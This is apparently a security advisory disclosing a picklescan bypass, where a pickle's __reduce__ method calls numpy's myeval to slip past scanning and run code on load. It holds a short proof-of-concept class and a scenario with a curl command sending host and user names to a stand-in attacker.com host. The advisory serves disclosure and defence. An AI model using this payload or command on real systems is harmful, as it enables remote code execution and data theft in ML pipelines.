GHSA-3329-ghmp-jmv5: picklescan: Code Injection enables RCE

### Summary Picklescan uses numpy.f2py.crackfortran.myeval, which is a function in numpy to execute remote pickle files. ### Details The attack payload executes in the following steps: - First, the attacker crafts the payload by calling the numpy.f2py.crackfortran.myeval function in its reduce method - Then, when the victim checks whether the pickle file is safe by using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution. ### PoC ``` class RCE: def __reduce__(self): from numpy.f2py.crackfortran import myeval return (myeval, ("os.system('ls')",)) ``` ### Impact Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Report by Pinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).

Attacker publishes a PyTorch model to a public model hub or sends it directly to an ML engineering team via a convincing pull request or vendor submission. The model's pickle payload uses `numpy.f2py.crackfortran.myeval` in its `__reduce__` method to execute `os.system('curl -s http://attacker.com/$(hostname)/$(whoami)')`. The ML team runs picklescan as their standard validation step — it returns clean with no dangerous globals detected. Confident the model is safe, they load it in their training pipeline via `torch.load()`. On deserialization, the payload executes in the context of the training server: the attacker achieves RCE, potentially exfiltrating AWS credentials from instance metadata, model weights, proprietary training data, or establishing a reverse shell into the MLOps environment.